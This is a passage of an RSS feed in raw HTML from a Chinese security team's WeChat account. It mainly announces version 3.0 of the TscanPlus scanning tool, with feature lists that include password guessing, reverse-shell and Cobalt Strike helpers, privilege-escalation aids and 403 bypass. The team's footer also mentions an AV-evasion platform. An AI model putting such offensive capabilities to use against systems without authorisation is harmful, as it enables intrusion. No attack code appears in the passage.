href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247521674">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cebdb939&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521674%26idx%3D1%26sn%3D2a093a3753652d9eccbd737a21e74f7f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Nov 2025 17:07:00 +0800</pubDate>
    </item>
    <item>
      <title>无影v3.0发布—上线Awvs等新功能</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521601&amp;idx=1&amp;sn=2106c859eeb376c71c30d44e8c7dcf43</link>
      <description>无影(TscanPlus)v3.0发布，上线Awvs扫描、AI辅助分析、项目定时任务等功能，增强JsFinder、jwt编解码等功能，支持48项服务弱口令检测。</description>
      <content:encoded><![CDATA[<p>
原创 <span>重剑无锋</span> <span>2025-09-24 16:55</span> <span style="display: inline-block;">山东</span>
</p>

<p>无影(TscanPlus)v3.0发布，上线Awvs扫描、AI辅助分析、项目定时任务等功能，增强JsFinder、jwt编解码等功能，支持48项服务弱口令检测。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=66c9176e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmojnY8LDibRIMpVZhPL8ibr43U5myWMW01fNySDWCX1RncOSvr3godpNA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037699" class="rich_pages wxw-img" data-ratio="0.33396584440227706" data-s="300,640" data-type="png" data-w="1054" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c3fc6f50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RUTY0BCWBWibK6uuibtqEy5iax9oE0g5KNvSHK7MQtZwcAZBiaJiay2AOTOwSALtZkQQWltEFicrDPtjJdQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影(TscanPlus)，一款综合性网络安全检测和运维工具，旨在快速资产发现、识别、检测，构建基础资产信息库，协助甲方安全团队或者安全运维人员有效侦察和检索资产，发现存在的薄弱点和攻击面。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【主要功能】</span></strong><span leaf=""> 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、UrlFinder、域名探测、网络空探、项目管理等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【辅助功能】</span></strong><span leaf=""> 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成、JAVA编码、资产分拣、Hots碰撞、40xBypass、Jwt破解、Ip归属地查询等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">TscanPlus 功能介绍可参考文章：<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247512632&amp;idx=1&amp;sn=8fb22d0814c7f9929ce59934ac3873e7&amp;scene=21#wechat_redirect" textvalue="《TscanPlus——一款红队自动化工具》" data-itemshowtype="0" linktype="text" data-linktype="2">《TscanPlus——一款红队自动化工具》</a></span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.64px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima, PingFangSC-light, serif;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);color: rgb(248, 57, 41);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">【转发本文章到朋友圈，获赞30个以上，本活动截止到9月27日。截图发到&#34;Tide安全团队&#34;公众号后台，可获取一个key，解锁所有POC功能】</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">1、关于无影</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影(TscanPlus)于2024年初上线v1.0版本，历时一年多时间终于上线v3.0版，Github上Star数量2.7k，也有了一定的用户群体，在此也非常感谢大家一直以来对无影的支持和帮助。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">近期做了个问卷调查，发现有些功能虽然花了不少时间，但实际利用率并不高，数据也验证了安全工具&#34;二八法则&#34;——80%的日常需求由20%的核心功能满足。目前已经对功能模块顺序进行了重排和优化，后面也会根据问卷结果对软件进行裁剪优化。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">问卷结果显示，端口探测、Web指纹和以显著优势占据功能使用率前两位，这样证明了无影在资产探测方面的优势，目录枚举、信息收集、密码破解、Poc检测、JsFinder、JwtCrack构成第二梯队，这些也是漏洞产出的主要模块，类似代理池、空间测绘、ICP查询等专项工具也有各自的用户群体。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037930" data-ratio="0.8675925925925926" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7c330e80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmWrDbJSI4ciagXgXDrFjdeD6wTvwJg9WYibPFibVuibZosYXIc1JZrfxmSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2、近期新功能介绍</span></span><span style="display: none;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="display: none;"></span><span style="font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 新增Awvs扫描功能</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无影已经内置了poc检测、密码破解、目录枚举等功能，但常规web漏洞扫描方面一直举棋未定，最终还是自研和对接商用软件中选择了对接成熟的扫描工具——Awvs。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">而Awvs作为一款成熟的商业漏洞扫描器，拥有强大的漏洞检测能力和爬虫功能，在网络安全行业中被广泛应用于企业安全评估、渗透测试前期信息收集以及Web应用例行安全检查等场景。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">配置好Awvs和API key，连接测试通过后，即可进行站点扫描。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100037931" data-ratio="0.6407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3c1912cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RW4hV7tAgdcCJMWQMfc34WmdhLbe5w6ImGV4TvO3ySepqPs1X5G3vWBN4TTVwTickMtic3A2BgLME9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">可查看漏洞和爬虫链接信息</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100037932" class="rich_pages wxw-img" data-ratio="0.38425925925925924" data-s="300,640" data-type="png" data-w="1080" type="block" 